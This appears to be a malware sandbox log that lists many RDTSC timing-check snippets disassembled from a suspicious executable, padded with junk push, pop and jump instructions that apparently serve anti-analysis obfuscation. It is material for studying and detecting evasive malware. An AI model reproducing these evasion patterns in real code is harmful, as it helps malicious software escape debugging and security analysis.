Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DFE3DF second address: DFE478 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F0297Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b sbb edi, 017382B1h 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007FF114F02978h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 0000001Ah 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 or di, E26Ah 0x00000037 add dword ptr [ebp+122D1C0Fh], edx 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 mov bx, ax 0x00000047 mov eax, dword ptr [ebp+122D0399h] 0x0000004d push 00000000h 0x0000004f push edi 0x00000050 call 00007FF114F02978h 0x00000055 pop edi 0x00000056 mov dword ptr [esp+04h], edi 0x0000005a add dword ptr [esp+04h], 00000018h 0x00000062 inc edi 0x00000063 push edi 0x00000064 ret 0x00000065 pop edi 0x00000066 ret 0x00000067 cmc 0x00000068 ja 00007FF114F0297Ch 0x0000006e mov edi, dword ptr [ebp+122D38BCh] 0x00000074 push FFFFFFFFh 0x00000076 movsx ebx, di 0x00000079 push eax 0x0000007a jnp 00007FF114F0298Fh 0x00000080 push eax 0x00000081 push edx 0x00000082 pushad 0x00000083 popad 0x00000084 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E04A09 second address: E04A0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E04A0D second address: E04A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FF114F02976h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: D9673D second address: D96761 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF1148823CBh 0x00000008 jmp 00007FF1148823D4h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: D96761 second address: D96780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FF114F02976h 0x0000000d jmp 00007FF114F02982h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: D99E82 second address: D99E8C instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF1148823C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E07BF0 second address: E07BF5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E07EB8 second address: E07ED5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF1148823D7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E07ED5 second address: E07EDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E0A63F second address: E0A651 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF1148823CCh 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E0A651 second address: E0A655 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E0EC2B second address: E0EC3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E0EC3B second address: E0EC7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FF114F02985h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007FF114F02982h 0x00000016 mov eax, dword ptr [eax] 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FF114F0297Dh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DA8FA5 second address: DA8FBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FF1148823CFh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DA8FBF second address: DA8FCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF114F0297Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E136DE second address: E13702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF1148823CDh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e jmp 00007FF1148823CDh 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DA8F5F second address: DA8F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DA8F63 second address: DA8FA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823D4h 0x00000007 jmp 00007FF1148823D4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007FF1148823D2h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E13C8D second address: E13CB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F02985h 0x00000007 jmp 00007FF114F0297Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E13CB8 second address: E13CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E13CBE second address: E13CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E13CC7 second address: E13CDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF1148823D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E13E35 second address: E13E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jbe 00007FF114F02978h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E13F80 second address: E13F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E13F86 second address: E13F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007FF114F0297Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E13F98 second address: E13FA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF1148823C6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E13FA5 second address: E13FAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E143ED second address: E14407 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823D4h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E14407 second address: E1440B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E146A8 second address: E146AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E18FDA second address: E18FE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E18FE0 second address: E18FE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E18FE4 second address: E18FFA instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF114F02976h 0x00000008 jns 00007FF114F02976h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E18FFA second address: E18FFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E18FFE second address: E19022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FF114F02986h 0x00000010 push esi 0x00000011 pop esi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E19022 second address: E1904D instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF1148823CEh 0x00000008 js 00007FF1148823C6h 0x0000000e push edx 0x0000000f pop edx 0x00000010 js 00007FF1148823DFh 0x00000016 jmp 00007FF1148823D3h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E192C6 second address: E192CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E192CA second address: E192DA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a js 00007FF1148823C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E192DA second address: E192E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E18A0C second address: E18A21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007FF1148823CCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E18A21 second address: E18A27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E18A27 second address: E18A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FF1148823D8h 0x0000000c jne 00007FF1148823CCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E19842 second address: E1986B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jnc 00007FF114F0297Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF114F02982h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E1986B second address: E1986F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E199AF second address: E199BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007FF114F02976h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E199BA second address: E199C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jno 00007FF1148823C6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E199C8 second address: E199DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jne 00007FF114F02976h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E199DB second address: E199EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007FF1148823CAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E19CC1 second address: E19CD1 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF114F02976h 0x00000008 jnc 00007FF114F02976h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E19CD1 second address: E19CE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FF1148823CFh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E1E473 second address: E1E482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FF114F029B0h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E1E482 second address: E1E486 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E1E486 second address: E1E496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF114F02976h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E1E496 second address: E1E4AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF1148823D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DAC4AD second address: DAC4BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pushad 0x00000007 js 00007FF114F0297Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEBCDA second address: DEBCDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEBCDE second address: DEBCE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEBDDC second address: DEBDE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEBDE0 second address: DEBDEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEBDEE second address: DEBDF4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEC16A second address: DEC192 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF114F02986h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007FF114F02976h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEC192 second address: DEC196 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEC196 second address: DEC19C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEC430 second address: DEC44B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jo 00007FF1148823CEh 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEC596 second address: DEC59B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEC59B second address: DEC5CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF1148823D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push ebx 0x0000000c push esi 0x0000000d ja 00007FF1148823C6h 0x00000013 pop esi 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FF1148823CAh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEC7EB second address: DEC7F5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEC7F5 second address: DEC7F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEC7F9 second address: DEC81B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D2C8Dh], ecx 0x0000000e push 00000004h 0x00000010 mov edx, dword ptr [ebp+122D285Eh] 0x00000016 mov dword ptr [ebp+122D1ECEh], ecx 0x0000001c nop 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEC81B second address: DEC820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEC820 second address: DEC84C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FF114F02989h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF114F0297Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DEC84C second address: DEC851 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DECC2B second address: DECC30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: DECFF0 second address: DECFF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E1D827 second address: E1D859 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF114F0297Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007FF114F02995h 0x0000000f jmp 00007FF114F02989h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E1D9CC second address: E1D9EF instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF1148823D2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jno 00007FF1148823C6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E1D9EF second address: E1D9FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF114F02976h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E1D9FA second address: E1D9FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E1DE5A second address: E1DE5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E1DE5E second address: E1DE64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E1DFE4 second address: E1DFE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E1DFE8 second address: E1DFEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E1DFEE second address: E1DFF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E1DFF4 second address: E1DFFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E217F5 second address: E217FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: E217FC second address: E21801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: D9B9E4 second address: D9B9E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: D9B9E8 second address: D9B9F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: D9B9F1 second address: D9BA02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF114F02976h 0x0000000a jl 00007FF114F02976h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: D9BA02 second address: D9BA07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: D9BA07 second address: D9BA40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF114F02976h 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007FF114F0297Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FF114F02988h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: D9BA40 second address: D9BA44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u57m8aCdwb.exeRDTSC instruction interceptor: First address: D9BA44 second address: D9BA5B instructions: 0x00000000 rdtsc 0x00000002 je 00007FF114F02976h 0x00000008 jmp 00007FF114F0297Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
